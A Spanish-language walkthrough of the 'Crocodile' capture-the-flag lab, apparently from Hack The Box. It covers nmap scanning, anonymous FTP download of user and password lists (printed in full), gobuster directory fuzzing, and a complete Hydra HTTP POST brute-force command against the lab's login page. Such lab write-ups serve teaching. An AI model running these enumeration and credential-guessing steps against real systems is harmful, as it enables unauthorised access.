Crocodile
Dificultad: Very Easy - OS: Unix
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV -p- --open -T4 -v -n 10.129.6.25
Resultados:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.70
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
|_-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1248E68909EAE600881B8DB1AD07F356
|_http-title: Smash - Bootstrap Business Template
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Unix
Enumeración de recursos ftp con usuario anónimo
Si revisamos el resultado del análisis de nmap, el servidor FTP está configurado para permitir el inicio de sesión anónimo: ftp-anon: Anonymous FTP login allowed (FTP code 230)
por lo que el siguiente paso es ingresar con ese usuario y buscar recursos expuestos para descargarlos en nuestro equipo:
┌──(root㉿kali)-[/home/kali]
└─# ftp 10.129.6.25
Connected to 10.129.6.25.
220 (vsFTPd 3.0.3)
Name (10.129.6.25:kali): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||40391|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
226 Directory send OK.
ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||44125|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |********************************| 33 306.91 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.20 KiB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||44430|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |********************************| 62 388.12 KiB/s 00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (0.39 KiB/s)
ftp> exit
221 Goodbye.
Una vez que descargamos los recursos expuestos vamos a ver que se tratan de listas con usuarios y contraseñas:
┌──(root㉿kali)-[/home/kali]
└─# cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
┌──(root㉿kali)-[/home/kali]
└─# cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd
Directory Fuzzing
Con estas listas podrÃamos autenticarnos en algún panel de login que esté expuesto en la página web del puerto 80, pero para encontrarlo tendremos que recurrir a la técnica de fuzzing de directorios web con gobuster:
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://10.129.6.25/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.6.25/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 276]
/.html (Status: 403) [Size: 276]
/index.html (Status: 200) [Size: 58565]
/login.php (Status: 200) [Size: 1577]
/assets (Status: 301) [Size: 311] [--> http://10.129.6.25/assets/]
/css (Status: 301) [Size: 308] [--> http://10.129.6.25/css/]
/js (Status: 301) [Size: 307] [--> http://10.129.6.25/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/config.php (Status: 200) [Size: 0]
De estos directorios el que nos interesa es el /login.php
que se ve de la siguiente forma:
Ahora tenemos dos formas de ingresar al panel de login: la manual y la automática. Para la primera opción solo debemos probar cada usuario de la lista users con cada contraseña de la lista passwords hasta que encontremos la combinación correcta que nos mostrará el siguiente dashboard:
HTTP POST Password Brute-force with Hydra
Para la forma automatizada vamos a realizar un ataque de fuerza bruta con Hydra analizando el request y el response con Burpsuite para setear el comando correctamente:
Generamos una petición de login y lo interceptamos con Burpsuite
Analizamos el request para configurar la primera parte del comando de hydra y luego enviamos esta solicitud al Módulo Repeater para ver la respuesta del servidor
Request:
POST /login.php HTTP/1.1
Host: 10.129.1.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://10.129.1.15
Connection: keep-alive
Referer: http://10.129.1.15/login.php
Cookie: PHPSESSID=p90dfhmgi33hle7k195i2crj4s
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Username=pepe&Password=pepe&Submit=Login
De este código nos interesan las siguientes lÃneas: 2 y 17
Con la respuesta del responder podremos setear la segunda parte del comando de hydra
Response:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2025 18:24:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1978
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!-- HTML code for Bootstrap framework and form design -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/signin.css">
<title>Sign in</title>
</head>
<body>
<div class="container">
<form action="" method="post" name="Login_Form" class="form-signin">
<h2 class="form-signin-heading">Please sign in</h2>
<label for="inputUsername" class="sr-only">Username</label>
<input name="Username" type="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
<label for="inputPassword" class="sr-only">Password</label>
<input name="Password" type="password" id="inputPassword" class="form-control" placeholder="Password" required>
<div class="checkbox">
<label>
<input type="checkbox" value="remember-me"> Remember me
</label>
</div>
<button name="Submit" value="Login" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
<!-- Show an error alert -->
<div class="alert alert-danger alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
<strong>Warning!</strong> Incorrect information.
</div>
</form>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="js/bootstrap.min.js"></script>
</body>
</html>
De este código nos interesan la linea 47
Con esta información el comando del hydra nos quedarÃa de la siguiente manera:
hydra -t 64 -L allowed.userlist -P allowed.userlist.passwd 10.129.1.15 -s 80 -f http-post-form "/login.php:Username=^USER^&Password=^PASS^&Submit=Login:F=Incorrect information."
Last updated